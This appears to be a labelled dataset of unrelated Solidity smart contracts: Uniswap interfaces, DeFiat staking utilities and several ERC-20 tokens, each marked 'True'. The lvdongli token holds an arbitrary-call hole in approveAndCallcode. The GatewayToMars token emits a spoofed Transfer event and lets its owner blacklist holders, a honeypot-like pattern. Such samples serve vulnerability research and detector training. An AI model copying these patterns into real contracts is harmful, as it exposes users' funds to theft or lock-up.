function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
import "../lib/@defiat-crypto/utils/DeFiatUtils.sol";
import "../lib/@defiat-crypto/utils/DeFiatGovernedUtils.sol";
import "../lib/@openzeppelin/token/ERC20/SafeERC20.sol";
import "../lib/@uniswap/interfaces/IUniswapV2Factory.sol";
import "../lib/@uniswap/interfaces/IUniswapV2Router02.sol";
abstract contract AnyStakeUtils is DeFiatGovernedUtils {
using SafeERC20 for IERC20;
event PointsUpdated(address indexed user, address points);
event TokenUpdated(address indexed user, address token);
event UniswapUpdated(address indexed user, address router, address weth, address factory);
address public router;
address public factory;
address public weth;
address public DeFiatToken;
address public DeFiatPoints;
address public DeFiatTokenLp;
address public DeFiatPointsLp;
mapping (address => bool) internal _blacklistedAdminWithdraw;
constructor(address _router, address _gov, address _points, address _token) public {
_setGovernance(_gov);
router = _router;
DeFiatPoints = _points;
DeFiatToken = _token;
weth = IUniswapV2Router02(router).WETH();
factory = IUniswapV2Router02(router).factory();
DeFiatTokenLp = IUniswapV2Factory(factory).getPair(_token, weth);
DeFiatPointsLp = IUniswapV2Factory(factory).getPair(_points, weth);
}
function sweep(address _token) public override onlyOwner {
require(!_blacklistedAdminWithdraw[_token], "Sweep: Cannot withdraw blacklisted token");
DeFiatUtils.sweep(_token);
}
function isBlacklistedAdminWithdraw(address _token)
external
view
returns (bool)
{
return _blacklistedAdminWithdraw[_token];
}
// Method to avoid underflow on token transfers
function safeTokenTransfer(address user, address token, uint256 amount) internal {
if (amount == 0) {
return;
}
uint256 tokenBalance = IERC20(token).balanceOf(address(this));
if (amount > tokenBalance) {
IERC20(token).safeTransfer(user, tokenBalance);
} else {
IERC20(token).safeTransfer(user, amount);
}
}
function setToken(address _token) external onlyGovernor {
require(_token != DeFiatToken, "SetToken: No token change");
require(_token != address(0), "SetToken: Must set token value");
DeFiatToken = _token;
DeFiatTokenLp = IUniswapV2Factory(factory).getPair(_token, weth);
emit TokenUpdated(msg.sender, DeFiatToken);
}
function setPoints(address _points) external onlyGovernor {
require(_points != DeFiatPoints, "SetPoints: No points change");
require(_points != address(0), "SetPoints: Must set points value");
DeFiatPoints = _points;
DeFiatPointsLp = IUniswapV2Factory(factory).getPair(_points, weth);
emit PointsUpdated(msg.sender, DeFiatPoints);
}
function setUniswap(address _router) external onlyGovernor {
require(_router != router, "SetUniswap: No uniswap change");
require(_router != address(0), "SetUniswap: Must set uniswap value");
router = _router;
weth = IUniswapV2Router02(router).WETH();
factory = IUniswapV2Router02(router).factory();
emit UniswapUpdated(msg.sender, router, weth, factory);
}
}
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// '1B1DAY' token contract
//
// Deployed to : 0x5A6894ACdc546b04d66c5A199c84DDF273121624
// Symbol : 1B1DAY
// Name : One Billion A Coin One Day
// Total supply: 1,000,000,000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BDayToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BDayToken() public {
symbol = "1B1DAY";
name = "One Billion A Coin One Day";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x5A6894ACdc546b04d66c5A199c84DDF273121624] = _totalSupply;
Transfer(address(0), 0x5A6894ACdc546b04d66c5A199c84DDF273121624, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity ^0.4.16;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(balances[_to] + _value > balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract lvdongli is StandardToken {
function () public {
revert();
}
string public name = "lvdongli";
uint8 public decimals = 18;
uint256 private supplyDecimals = 1 * 10 ** uint256(decimals);
string public symbol = "LDL";
string public version = 'v0.1';
address public founder;
constructor (uint256 supply) public {
founder = msg.sender;
totalSupply = supply * supplyDecimals;
balances[founder] = totalSupply;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert(); }
return true;
}
function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
if(!_spender.call(_extraData)) { revert(); }
return true;
}
} | True | [
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pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CBMTokenCoin is MintableToken {
string public constant name = "Crypto Bonus Miles Token";
string public constant symbol = "CBM";
uint32 public constant decimals = 18;
} | True | [
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/**
TG: https://t.me/GatewaytomarsToken
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GatewayToMars is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Gateway To Mars";
string private constant _symbol = "G2MARS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x1C048375e595C9076e11BDf8e3b943F0143C142d);
_feeAddrWallet2 = payable(0x1C048375e595C9076e11BDf8e3b943F0143C142d);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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// File: contracts/uniswapv2/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/uniswapv2/libraries/SafeMath.sol
